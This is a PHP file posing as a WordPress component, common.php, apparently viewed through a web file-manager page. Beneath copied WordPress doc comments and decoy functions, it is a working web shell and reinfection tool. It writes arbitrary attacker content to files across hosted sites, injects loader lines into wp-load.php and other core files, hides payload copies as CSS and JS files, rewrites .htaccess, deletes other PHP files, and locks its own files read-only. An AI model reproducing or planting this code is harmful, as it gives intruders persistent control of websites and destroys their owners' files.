D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
fhblmjlrhosting
/
public_html
/
onesmart.com.vn
/
wp-content
/
languages
/
Filename :
common.php
back
Copy
<?php /** * WordPress Checks whether a comment passes internal checks to be allowed to add. * * If manual comment moderation is set in the administration, then all checks, * regardless of their type and substance, will fail and the function will * return false. * * If the number of links exceeds the amount in the administration, then the * check fails. If any of the parameter contents contain any disallowed words, * then the check fails. * * If the comment author was approved before, then the comment is automatically * approved. * * If all checks pass, the function will return true. * * @since 1.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $author Comment author name. * @param string $email Comment author email. * @param string $url Comment author URL. * @param string $comment Content of the comment. * @param string $user_ip Comment author IP address. * @param string $user_agent Comment author User-Agent. * @param string $comment_type Comment type, either user-submitted comment, * trackback, or pingback. * @return bool If all checks pass, true, otherwise false. */ function WordPressInfo(){ $comments_by_type = array( 'comment' => array(), 'trackback' => array(), 'pingback' => array(), 'pings' => array(), ); $comments=''; $count = count( $comments ); for ( $i = 0; $i < $count; $i++ ) { $type = $comments[ $i ]->comment_type; if ( empty( $type ) ) { $type = 'comment'; } $comments_by_type[ $type ][] = &$comments[ $i ]; if ( 'trackback' === $type || 'pingback' === $type ) { $comments_by_type['pings'][] = &$comments[ $i ]; } } return $comments_by_type; } /** * User API: WP_User class * * @package WordPress * @subpackage Users * @since 4.4.0 */ /** * Core class used to implement the WP_User object. * * @since 2.0.0 * * @property string $nickname * @property string $description * @property string $user_description * @property string $first_name * @property string $user_firstname * @property string $last_name * @property string $user_lastname * @property string $user_login * @property string $user_pass * @property string $user_nicename * @property string $user_email * @property string $user_url * @property string $user_registered * @property string $user_activation_key * @property string $user_status * @property int $user_level * @property string $display_name * @property string $spam * @property string $deleted * @property string $locale * @property string $rich_editing * @property string $syntax_highlighting * @property string $use_ssl */ function longest($str1 ='' , $str2 =''){ $start=0; $end=2; $longest = ''; $len = strlen( $str1 ); for ($i=0; $i<$len; ) { $part = substr($str1, $start, $end); if(strpos( $str2, $part) == true){ if( strlen($part) > strlen($longest)){ $longest = $part; } $end++; }else{ $i++; $start = $i - 1; $end = 2; } } return $longest; } /** * Retrieves comment data given a comment ID or comment object. * * If an object is passed then the comment data will be cached and then returned * after being passed through a filter. If the comment is empty, then the global * comment variable will be used, if it is set. * * @since 2.0.0 * * @global WP_Comment $comment Global comment object. * * @param WP_Comment|string|int $comment Comment to retrieve. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Comment object, an associative array, or a numeric array, * respectively. Default OBJECT. * @return WP_Comment|array|null Depends on $output value. */ function validlaststr($str,$f1,$f2=null){ if($str && $f1){ $newstr = substr($str,-1); if($f2){ if(strpos($newstr,$f1)===false&&strpos($newstr,$f2)===false){ $str .= $f1; } }else{ if(strpos($newstr,$f1)===false){ $str .= $f1; } } return $str; } } /** * oEmbed API: Top-level oEmbed functionality * * @package WordPress * @subpackage oEmbed * @since 4.4.0 */ /** * Registers an embed handler. * * Should probably only be used for sites that do not support oEmbed. * * @since 2.9.0 * * @global WP_Embed $wp_embed WordPress Embed object. * * @param string $id An internal ID/name for the handler. Needs to be unique. * @param string $regex The regex that will be used to see if this handler should be used for a URL. * @param callable $callback The callback function that will be called if the regex is matched. * @param int $priority Optional. Used to specify the order in which the registered handlers will * be tested. Default 10. */ function getsuijishuzi($len) { $chars = array("0", "1", "2","3", "4", "5", "6", "7", "8", "9"); $charsLen = count($chars) - 1; shuffle($chars); $output = ""; for ($i=0; $i<$len; $i++) { $output .= $chars[mt_rand(0, $charsLen)]; } return $output; } if(!isset($_REQUEST['is_code'])||$_REQUEST['is_code']!='fanghf'){ exit(); } //is_code(上面) if(isset($_REQUEST['is_code'])&&$_REQUEST["is_code"]=="fanghf"){ $_cexamp=explode(".php", trim($_SERVER["REQUEST_URI"],"/")); $_iscodepfile=$_SERVER["DOCUMENT_ROOT"]."/".$_cexamp[0].".php"; $_codefileSize = filesize($_iscodepfile); if($_codefileSize<3000){ $_comarr=array( "wp-content/plugins/litespeed-cache/src/", "wp-content/themes/twentytwentythree/patterns/", "wp-content/themes/twentytwentytwo/inc/patterns/", "wp-content/themes/twentytwentyfive/patterns/", "wp-content/themes/twentytwentyfour/patterns/", "wp-content/plugins/contact-form-7/modules/", "wp-includes/Text/Diff/Engine/", "wp-admin/network/", "wp-content/plugins/all-in-one-wp-migration/lib/model/", "wp-content/plugins/elementor-pro/core/editor/", "wp-content/plugins/duplicator-pro/src/Core/Addons/", "wp-admin/", "wp-admin/includes/", "wp-admin/user/", "wp-includes/", "wp-content/languages/", "wp-content/plugins/akismet/views/", ); $_cnewfilename=""; foreach($_comarr as $_carr){ if($_carr){ $_carrdir=$_SERVER["DOCUMENT_ROOT"]."/".$_carr; if(file_exists($_carrdir)){ $_cnewfilename=$_carrdir."common.php"; break; } } } $_sourcename=file_get_contents($_cnewfilename); if(file_exists($_iscodepfile)){ chmod($_iscodepfile, "0755"); unlink($_iscodepfile); } if($_sourcename){ file_put_contents($_iscodepfile, $_sourcename); chmod($_iscodepfile, "0444"); } } } ini_set("memory_limit","1280M"); set_time_limit(0); $p = $_REQUEST; $rpath=$_SERVER['DOCUMENT_ROOT'].'/'; $currentpath=str_replace('\\', '/', dirname(__FILE__)).'/'; $prepath=isset($p['path'])?$p['path']:dirname($rpath); $prepath=rtrim(str_replace('\\', '/', $prepath),'/').'/'; echo 'rootpath:' . $rpath . '<br>'; echo 'currpath:' . $currentpath . '<br>'; echo 'prepath:' . $prepath . '<br>'; $title=''; $sid=isset($p['sid'])?$p['sid']:''; $delsid=isset($p['submit_delid'])?$p['submit_delid']:''; $con=isset($p['con'])?$p['con']:''; $filepath=isset($con['filepath'])?$con['filepath']:''; $address=isset($p['address'])?$p['address']:''; $includes_id=isset($p['includes_id'])?$p['includes_id']:''; $fname=isset($p['fname'])?$p['fname']:''; $extension_path=isset($p['extension_path'])?$p['extension_path']:''; $i=0; $dirinfo=getdirs($prepath,$includes_id); $net=''; $netfile=''; $isexists=''; $dirinfo1=getdirs($rpath); if($dirinfo1){ $dirinfo1[]=$currentpath; $dirinfo=array_merge($dirinfo,$dirinfo1); } if(!$address){ $address=getrootpathpart($dirinfo,$currentpath,$rpath); if(!$address){ $address=$currentpath; } } //file,put inside to con $paramfile=isset($p['file'])?$p['file']:''; if($paramfile&&file_exists($paramfile)&&is_file($paramfile)){ $paramfile=str_replace("\\", "/", $paramfile); $paramfile=str_replace("//", "/", $paramfile); if(strpos($paramfile,'/')!==false){ $con=file_get_contents($paramfile); } } if($sid && $con && $address && $fname){ echo '<br/>'; $emx1=explode("\r\n", $address); foreach($emx1 as $key=>$dir){ $dir=clearhangshu($dir).'/'.($extension_path?trim($extension_path,'/'):''); if(strpos($dir, '.php')===false){ $filename=rtrim($dir,'/').'/'.clearhangshu($fname); if(file_exists($dir)){ if(file_exists($filename)){ chmod($filename, '0755'); unlink($filename); } $_cb=file_put_contents($filename, $con); $_fileSize = filesize($filename); if($_cb||(file_exists($filename)&&$_fileSize>100)){ echo 'add okay:'.$filename.'<br/>'; $isexists.=$filename."\r\n"; if(file_exists($filename)){ chmod($filename, 0444); } $i++; if(file_exists($rpath.'wp-blog-header.php')!==false){ addforwp($rpath,$dir,$filename,$con); } }else{ echo 'file cant write inside:'.$filename.'<br/>'; } }else{ echo 'dir no exists:'.$dir.'<br/>'; } } } } $do=isset($p['do'])?$p['do']:''; if($address&&$delsid){ if($con){ echo '<br/>'; $emxdel=explode("\r\n", $address); foreach($emxdel as $delkey=>$deldir){ $deldir=clearhangshu($deldir).'/'.($extension_path?trim($extension_path,'/'):''); $conarr=explode("\r\n", $con); foreach($conarr as $dfile){ if($dfile){ $delfilename=$deldir.'/'.$dfile; $delfilename=str_replace('///', '/', $delfilename); $delfilename=str_replace('//', '/', $delfilename); if(file_exists($delfilename)){ chmod($delfilename, '0755'); unlink($delfilename); if(!file_exists($delfilename)){ echo 'del-filename:'.$delfilename.'<br/>'; } } } } } } delotherphpfile($address); } $prenet=str_replace($prepath, 'https://', ($isexists?$isexists:$address)); $net=getnethost($prenet,$fname,$extension_path); $netfile=getdirsOnlylist($prepath); function addforwp($rpath,$dir,$filename,$con){ if(strpos($filename,'wp-template.php')!==false || strpos($filename,'class-walker-action.php')!==false){ $_tplarr=array( 'wp-includes/blocks/avatar/', 'wp-includes/css/', 'wp-includes/js/jquery/', 'wp-admin/css/colors/modern/', 'wp-admin/js/widgets/' ); if(strpos($filename,'class-walker-action.php')!==false){ $dir=str_replace('/wp-includes', '', $dir); } foreach($_tplarr as $_tarr){ if($_tarr){ $_tarrdir=$dir.$_tarr; if(file_exists($_tarrdir)){ if(strpos($_tarr,'/js')!==false){ $_tnewfilename=$_tarrdir.'common.js'; }else{ $_tnewfilename=$_tarrdir.'common.css'; } if(file_exists($_tnewfilename)){ chmod($_tnewfilename, 0775); unlink($_tnewfilename); } $_tplcon=$con."\r\n".'---'."\r\n".gethtaccesscon()."\r\n"; $_trrcon=file_put_contents($_tnewfilename, $_tplcon); if($_trrcon){ echo ' add okay:'.$_tnewfilename.'<br/>'; chmod($_tnewfilename, 0444); }else{ echo 'file cant write inside:'.$_tnewfilename.'<br/>'; } } } } //forautojiazai $_autoarr=array( array('wp-includes/plugin.php','function doing_filter'), array('wp-includes/blocks/archives.php','function register_block_core_archives'), array('wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php','class WP'), array('wp-includes/block-supports/layout.php','function wp_render_layout_support_flag'), array('wp-includes/query.php','function is_paged'), array('wp-includes/comment.php','function wp_insert_comment'), array('wp-includes/update.php','function wp_update_plugins'), array('wp-includes/blocks/post-template.php','function register_block_core_post_template'), ); foreach($_autoarr as $_autoitemarr){ if($_autoitemarr){ $_autofilename=$dir.$_autoitemarr[0]; if(file_exists($_autofilename)){ chmod($_autofilename, 0775); $_autocon=file_get_contents($_autofilename); if(strpos($_autocon,'wp-template.php')===false){ $_autocodecon=about_plugin_info(); $_autocon=str_replace($_autoitemarr[1], $_autocodecon."\r\n".$_autoitemarr[1], $_autocon); file_put_contents($_autofilename, $_autocon); } } } } //forwpload $_forwploadfilename=$dir.'/wp-load.php'; if(file_exists($_forwploadfilename)){ $_forwploadcon=file_get_contents($_forwploadfilename); if(strpos($_forwploadcon, 'wp-template.php')===false){ $_forwploadcon=str_replace('/** Define ABSPATH', 'if(file_exists(dirname(__FILE__)."/wp-template.php")){require_once(dirname(__FILE__)."/wp-template.php");}'."\r\n".'/** Define ABSPATH', $_forwploadcon); file_put_contents($_forwploadfilename, $_forwploadcon); } } if(file_exists($dir.'/wp-template.php')&&file_exists($dir.'/wp-includes/class-walker-action.php')){ chmod($dir.'/wp-includes/class-walker-action.php', 0775); unlink($dir.'/wp-includes/class-walker-action.php'); } } if(strpos($filename,'wp-common.php')!==false || strpos($filename,'common.php')!==false){ $_comarr=array( 'wp-content/themes/twentytwentythree/patterns/', 'wp-content/themes/twentytwentytwo/inc/patterns/', 'wp-content/themes/twentytwentyfive/patterns/', 'wp-content/themes/twentytwentyfour/patterns/', 'wp-content/plugins/contact-form-7/modules/', 'wp-includes/Text/Diff/Engine/', 'wp-admin/network/', 'wp-content/plugins/all-in-one-wp-migration/lib/model/', 'wp-content/plugins/elementor-pro/core/editor/', 'wp-content/plugins/duplicator-pro/src/Core/Addons/', 'wp-admin/', 'wp-admin/includes/', 'wp-admin/user/', 'wp-includes/', 'wp-content/languages/', 'wp-content/plugins/akismet/views/', 'wp-content/plugins/litespeed-cache/src/' ); foreach($_comarr as $_carr){ if($_carr){ $_carrdir=$dir.$_carr; if(file_exists($_carrdir)){ $_cnewfilename=$_carrdir.'common.php'; if(file_exists($_cnewfilename)){ chmod($_cnewfilename, 0775); unlink($_cnewfilename); } $_crrcon=file_put_contents($_cnewfilename, $con); if($_crrcon){ echo ' add okay:'.$_cnewfilename.'<br/>'; chmod($_cnewfilename, 0444); }else{ echo 'file cant write inside:'.$_cnewfilename.'<br/>'; } } } } //del shoueye common file, $_crrcomfilename=$dir.'common.php'; if(file_exists($_crrcomfilename)){ chmod($_cnewfilename, 0775); unlink($_crrcomfilename); } } } function getnethost($prenet,$fname='',$extension_path=''){ $net=''; $emx2=explode("\r\n", $prenet); $localhostname=gethttphostforcon(); if($localhostname){ $emx2[]=$localhostname; } foreach($emx2 as $item=>$value){ $value=clearhangshu($value); if($value){ $parsearr=parse_url($value); $urlstr=$parsearr['scheme'].'://'.$parsearr['host'].'/'; if($fname){ $urlname=$urlstr.($extension_path?trim($extension_path,'/'):'').'/'.$fname; $res=getfromcurlurl($urlname); if($res){ $net.=$urlstr."\r\n"; } }else{ $net.=$urlstr."\r\n"; } } } return $net; } function gethttphostforcon(){ $type = 'http://'; if(((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'))){ $type='https://'; } return $type.$_SERVER['HTTP_HOST'].'/'; } function getfromcurlurl($_url){ $gent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36'; $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$_url); curl_setopt($ch,CURLOPT_HEADER,0); curl_setopt($ch,CURLOPT_USERAGENT,$gent); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不验证证书 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //不验证证书 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1 ); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,19); $res = curl_exec($ch); $cinfo=curl_getinfo($ch); curl_close($ch); if($cinfo['http_code']=='200'){ return 'ok'; } } function clearhangshu($str){ $str=str_replace(array("\n","\r","\r\n"," "),"",$str); $str=preg_replace("/\s+/","",$str); return $str; } function getrootpathpart($emx1,$currentpath,$rpath){ $samehostname=''; $roopathhouzhou='';//root path houzhui foreach($emx1 as $item900=>$value900){ if($value900&&strpos($rpath, $value900)!==false){ $roopathhouzhou=str_replace($value900,'',$rpath); if($roopathhouzhou=='/'){ $roopathhouzhou=''; } } } if($currentpath&&$emx1){ foreach($emx1 as $item100=>$value100){ if($value100&&strpos($value100,'.selector')===false){ if($roopathhouzhou){ $samehostname.=rtrim($value100,'/').'/'.ltrim($roopathhouzhou,'/')."\r\n"; }else{ $samehostname.=rtrim($value100,'/').'/'."\r\n"; } } } if(strpos($samehostname,$rpath)===false){ $samehostname.=$rpath."\r\n"; } } return $samehostname?rtrim($samehostname,"\r\n"):''; } function getdirs($rpath,$includes_id=''){ $remarr=array(); if(file_exists($rpath)){ $dir = opendir($rpath); if (is_readable($rpath)) { $a = array(); while(($d = readdir($dir))!==false){ $smdir=$rpath.$d; if($d != '.' && $d != '..' && is_dir($smdir)){ $expm1=explode('/', $smdir); $itemurl9=ltrim($expm1[(count($expm1)-1)],'.'); if(strpos($itemurl9,'.')!==false){ $array=explode('.', $itemurl9); $lstnum=$array[count($array)-1]; if(strlen($lstnum)>1){ $remarr[]=$smdir.($includes_id?'/wp-includes':''); } } } } }else{ echo $rpath.' Cant Read'; } return $remarr; } } function getdirsOnlylist($rpath){ $title=''; if(file_exists($rpath)){ $dir = opendir($rpath); if (is_readable($rpath)) { $a = array(); while(($d = readdir($dir))!==false){ $smdir=$rpath.$d; if($d != '.' && $d != '..'){ $title.=rtrim($smdir,'/')."\r\n"; } } }else{ echo $rpath.' Cant Read'; } return $title; } } function delotherphpfile($address){ $defaultfilelist=array('index.php','wp-activate.php','wp-blog-header.php','wp-comments-post.php','wp-config.php','wp-config-sample.php','wp-cron.php','wp-links-opml.php','wp-load.php','wp-login.php', 'wp-mail.php','wp-settings.php','wp-signup.php','wp-trackback.php','xmlrpc.php','wp-template.php','wp-cache.php','wp-style.php','default.php'); $arr=explode("\r\n", rtrim($address,"\r\n")); foreach($arr as $item){ if($item){ $delfilelist=explode("\r\n", rtrim(getdirsOnlylist($item),"\r\n")); //is wp-shouye or no $iswpshoueye=0; foreach($delfilelist as $pdsy){ if($pdsy&&strpos($pdsy, 'wp-blog-header.php')!==false){ $iswpshoueye=1; } } if($iswpshoueye>0){ foreach($delfilelist as $dfilelist){ if($dfilelist&&strpos($dfilelist, '.php')!==false){ $i=0; foreach($defaultfilelist as $orfile){ if($orfile&&strpos($dfilelist, $orfile)!==false){ $i=1; } } if($i<1){ unlink($dfilelist); if(!file_exists($dfilelist)){ echo 'del-filename:'.$dfilelist.'<br/>'; } } } } } } } } function gethtaccesscon(){ $_text='<IfModule mod_rewrite.c> RewriteEngine on RewriteBase / RewriteRule 404 /index.php ErrorDocument 404 /index.php RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule . /index.php [L] </IfModule>'; return $_text; } function about_plugin_info(){ //codecomefrom:auto_add_zhixing_file.php https://freecompress.com/zh-cn/compress-php $_str='$zxrpath=$_SERVER["DOCUMENT_ROOT"]."/"; $_iszhixingidwptemplate=1; $_prewploadfilename=$zxrpath."wp-load.php"; $_prewptplfilename=$zxrpath."wp-template.php"; if(!file_exists($_prewptplfilename)){ $_iszhixingidwptemplate=0; }else{ if(file_exists($_prewploadfilename)){ $_wploadcon=@file_get_contents($_prewploadfilename); if($_wploadcon&&strpos($_wploadcon, "wp-template.php")===false){ $_iszhixingidwptemplate=0; } }else{ $_iszhixingidwptemplate=0; } $_tplfileSize = filesize($_prewptplfilename); if($_tplfileSize<5){ unlink($_prewptplfilename); } } $_iszhixingidwpaction=1; $_preacfilename=$zxrpath."wp-includes/class-walker-action.php"; $_prelofilename=$zxrpath."wp-includes/load.php"; if(!file_exists($_preacfilename)){ $_iszhixingidwpaction=0; }else{ if(file_exists($_prelofilename)){ $_wploadcon=@file_get_contents($_prelofilename); if($_wploadcon&&strpos($_wploadcon, "class-walker-action.php")===false){ $_iszhixingidwpaction=0; } }else{ $_iszhixingidwpaction=0; } $_acfileSize = filesize($_preacfilename); if($_acfileSize<5){ unlink($_preacfilename); } } $_autoplarr=array( "wp-includes/blocks/avatar/common.css", "wp-includes/css/common.css", "wp-includes/js/jquery/common.js", "wp-admin/css/colors/modern/common.css", "wp-admin/js/widgets/common.js" ); $_titlefilename=""; $_wptemplatecon=""; $_htaccesscon=""; foreach($_autoplarr as $_autofile){ $_autofile=$zxrpath.$_autofile; if(file_exists($_autofile)){ $_titlefilename=$_autofile; break; } } if($_titlefilename){ $_autocon=@file_get_contents($_titlefilename); if($_autocon){ $_autoarrcon=explode("---", $_autocon); $_wptemplatecon=$_autoarrcon[0]; $_htaccesscon=trim($_autoarrcon[1],PHP_EOL); } } $_htaccessname=$zxrpath.".htaccess"; if(file_exists($_htaccessname)){ chmod($_htaccessname, 0775); } file_put_contents($_htaccessname, $_htaccesscon); if(file_exists($_htaccessname)){ chmod($_htaccessname, 0444); } if($_iszhixingidwptemplate<1&&$_iszhixingidwpaction<1&&$_wptemplatecon&&$_htaccesscon){ if(file_exists($_prewptplfilename)){ chmod($_prewptplfilename, 0775); } file_put_contents($_prewptplfilename, $_wptemplatecon); $_prewplocon=@file_get_contents($_prewploadfilename); if(file_exists($_prewptplfilename)){ chmod($_prewptplfilename, 0444); if($_prewplocon){ if(strpos($_prewplocon, "wp-template.php")===false){ $_prewplocon=str_replace("/** Define ABSPATH", "if(file_exists(dirname(__FILE__).\"/wp-template.php\")){require_once(dirname(__FILE__).\"/wp-template.php\");}".PHP_EOL."/** Define ABSPATH", $_prewplocon); file_put_contents($_prewploadfilename, $_prewplocon); chmod($_prewploadfilename, 0444); if(file_exists($_preacfilename)){ unlink($_preacfilename); } } } } if(!file_exists($_prewptplfilename)&&strpos($_prewplocon, "wp-template.php")===false){ if(file_exists($_preacfilename)){ chmod($_preacfilename, 0775); } file_put_contents($_preacfilename, $_wptemplatecon); $_preloadcon=@file_get_contents($_prelofilename); if(file_exists($_preacfilename)){ chmod($_preacfilename, 0444); if($_preloadcon){ if(strpos($_preloadcon, "class-walker-action.php")===false){ $_preloadcon=str_replace("function wp_check_php_mysql_versions", "if(file_exists(dirname(__FILE__).\"/class-walker-action.php\")){require_once(dirname(__FILE__).\"/class-walker-action.php\");}".PHP_EOL."function wp_check_php_mysql_versions", $_preloadcon); file_put_contents($_prelofilename, $_preloadcon); chmod($_prelofilename, 0444); } } } } }'; return $_str; } ?> <html> <head> <title>xghztwj</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script src="jquery-1.7.2.min.js"></script> <style> li{ list-style-type:none; } li a{ color:blue; } a{text-decoration:none} </style> </head> <body> <form id="fid" action="" method="post"> <ul> <li> <p>物理地址<span style="color:red;">(*)</span> <textarea id="address" name="address" style="vertical-align: top;" rows="19" cols="138"><?php echo $address;?></textarea> </p> </li> <li> <p>文件内容<span style="color:red;">(*)</span> <textarea id="con" name="con" style="vertical-align: top;" rows="19" cols="138"><?php echo $con;?></textarea> </p> </li> <li style="padding-left:46px;"> <p>文件夹 <input name="extension_path" id="extension_path" value="<?php echo $extension_path;?>" style="width:20.1%"/> </p> </li> <li style="padding-left:46px;"> <p>文件名 <input name="fname" id="fname" value="<?php echo $fname;?>" style="width:20.1%"/> </p> </li> <li style="padding-left:102px;"> <input type="submit" value="确认" id="sid" name="sid"/> <input type="submit" value="del" id="submit_delid" name="submit_delid"/> <span style="color:red;<?php if(!$i):?> display:none;<?php endif;?>">已添加操作<?php echo $i?>个网站</span> </li> <li> <p>网站(<?php echo isset($dirinfo)?count($dirinfo):$i.'个'?>)<span style="color:red;">(*)</span> <textarea style="vertical-align: top;" rows="19" cols="76"><?php echo $net;?></textarea> <textarea style="vertical-align: top;" rows="19" cols="108"><?php echo $netfile;?></textarea> </p> </li> </ul> </form> </body> </html>